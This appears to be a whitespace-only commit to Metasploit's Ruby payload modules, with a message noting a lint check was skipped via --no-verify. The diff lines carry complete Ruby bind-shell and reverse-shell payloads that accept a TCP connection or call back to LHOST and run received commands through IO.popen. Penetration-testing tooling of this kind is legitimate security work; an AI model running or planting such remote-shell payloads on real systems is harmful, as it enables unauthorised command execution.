Trailing whitespace fix

Note that this commit needed a --no-verify because of the erroneous
check in msftidy for writing to stdout. The particular syntax of this
payload makes it look like we're doing that when we're really not.

So don't sweat it.

modules/payloads/singles/ruby/shell_bind_tcp.rb

@@ -38,7 +38,7 @@ module Metasploit3
 
 	def ruby_string
 		"require 'socket';s=TCPServer.new(#{datastore['LPORT'].to_i});c=s.accept;s.close;"+
-		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + 
+		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
 		"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
 	end
 end

modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb

@@ -37,8 +37,8 @@ module Metasploit3
 	end
 
 	def ruby_string
-		"require 'socket';s=TCPServer.new(\"::\",#{datastore['LPORT'].to_i});c=s.accept;s.close;" + 
-		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + 
+		"require 'socket';s=TCPServer.new(\"::\",#{datastore['LPORT'].to_i});c=s.accept;s.close;" +
+		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
 		"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
 	end
 end

modules/payloads/singles/ruby/shell_reverse_tcp.rb

@@ -39,8 +39,8 @@ module Metasploit3
 	def ruby_string
 		lhost = datastore['LHOST']
 		lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
-		"require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" + 
-		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" + 
+		"require 'socket';c=TCPSocket.new(\"#{lhost}\", #{datastore['LPORT'].to_i});" +
+		"$stdin.reopen(c);$stdout.reopen(c);$stderr.reopen(c);$stdin.each_line{|l|l=l.strip;next if l.length==0;" +
 		"(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }"
 	end
 end